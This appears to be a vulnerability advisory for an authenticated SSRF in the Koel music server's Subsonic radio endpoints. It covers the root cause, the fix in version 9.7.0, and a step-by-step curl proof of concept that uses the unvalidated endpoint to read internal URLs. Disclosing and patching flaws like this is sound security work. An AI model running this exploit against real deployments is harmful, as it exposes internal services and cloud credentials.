high · 7.7CVE-2026-54493Jul 15, 2026

CVE-2026-54493: Koel Authenticated Full-Read SSRF via Subsonic Radio Endpoints

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Koel's Subsonic-compatible radio endpoints skip the URL safety checks that protect the regular API, so an authenticated user can point a radio station at any internal address and read the server's res

Packagephanan/koel
Ecosystemcomposer
Affected<= 9.6.0
Fixed in9.7.0

The problem

Koel applies `SafeUrl` and `HasAudioContentType` validation to `streamUrl` on the main REST radio API (`RadioStationStoreRequest`, `RadioStationUpdateRequest`), but the equivalent Subsonic routes (`createInternetRadioStation.view` and `updateInternetRadioStation.view`) only require the field to be a non-empty string.

The gap means any authenticated user can persist a private or loopback URL as a radio station without triggering the SSRF guard.

When the station is played, `RadioStreamProxy::openStream()` calls `fopen($url, 'r', ...)` directly on the stored URL and pipes every chunk back to the client with `fread`. This is a full-read SSRF: the attacker receives the upstream response body through `/radio/stream/{id}`, making it suitable for reading internal admin panels, cloud metadata endpoints, or any RFC-1918 service reachable from the Koel container.

Proof of concept

A working proof-of-concept for CVE-2026-54493 in phanan/koel, with the exact payload below.

bash
# Step 1: authenticate and get an API token
API_TOKEN=$(
  curl -sS -X POST http://127.0.0.1:18081/api/me \
    -H 'Content-Type: application/json' \
    --data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)

# Step 2: get the Subsonic API key
SUBSONIC_KEY=$(
  curl -sS http://127.0.0.1:18081/api/data \
    -H "Authorization: Bearer $API_TOKEN" \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)

# Step 3: target an internal URL (e.g. Docker bridge or loopback)
TARGET_URL="http://172.17.0.1:18090/feed.xml"

# Step 4: confirm the regular API blocks it (returns HTTP 422)
curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
  -H "Authorization: Bearer $API_TOKEN" \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  --data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"

# Step 5: bypass via the Subsonic endpoint (returns HTTP 200 + {"status":"ok"})
curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \
  --data-urlencode "apiKey=$SUBSONIC_KEY" \
  --data-urlencode 'f=json' \
  --data-urlencode 'name=xmlpeek' \
  --data-urlencode "streamUrl=$TARGET_URL"

# Step 6: resolve the station ID and stream to read the internal response
STATION_ID=$(
  curl -sS "http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json" \
  | python3 -c 'import json,sys; items=json.load(sys.stdin)["subsonic-response"]["internetRadioStations"]["internetRadioStation"]; print(next(x["id"] for x in items if x["name"]=="xmlpeek"))'
)

curl -i "http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN"
# Response body contains the content of $TARGET_URL

The root cause is a validation inconsistency between two code paths that create the same model. The regular API request classes enforce `new SafeUrl()` (which resolves the hostname and rejects RFC-1918 and loopback IPs) and `new HasAudioContentType()`, while the Subsonic request classes only declared `['required', 'string']` for `streamUrl`, so neither check ever ran.

The patch (commit `1331f335`) adds `new SafeUrl()` and `new HasAudioContentType()` to both `CreateInternetRadioStationRequest` and `UpdateInternetRadioStationRequest`, bringing them in line with their REST counterparts. A defense-in-depth change also adds a `isSafeUrl()` pre-flight inside `RadioStreamProxy::openStream()` so a stored malicious URL cannot be fetched even if it somehow bypasses the request validator.

CWE-918 (Server-Side Request Forgery) applies directly: user-supplied input reaches a server-side `fopen()` call without host validation, and the full response is returned to the requester.

The fix

Upgrade to Koel 9.7.0 (commit `1331f335342b405e60ffabdd60f1f398508f996f`, PR #2545). The fix adds `SafeUrl` and `HasAudioContentType` validation to both Subsonic radio request classes and adds an `isSafeUrl()` guard inside `RadioStreamProxy::openStream()` as a second layer.

No workaround short of disabling the Subsonic API entirely is effective on 9.6.0.

Reporter not attributed.

References: [1][2][3][4][5]

Related research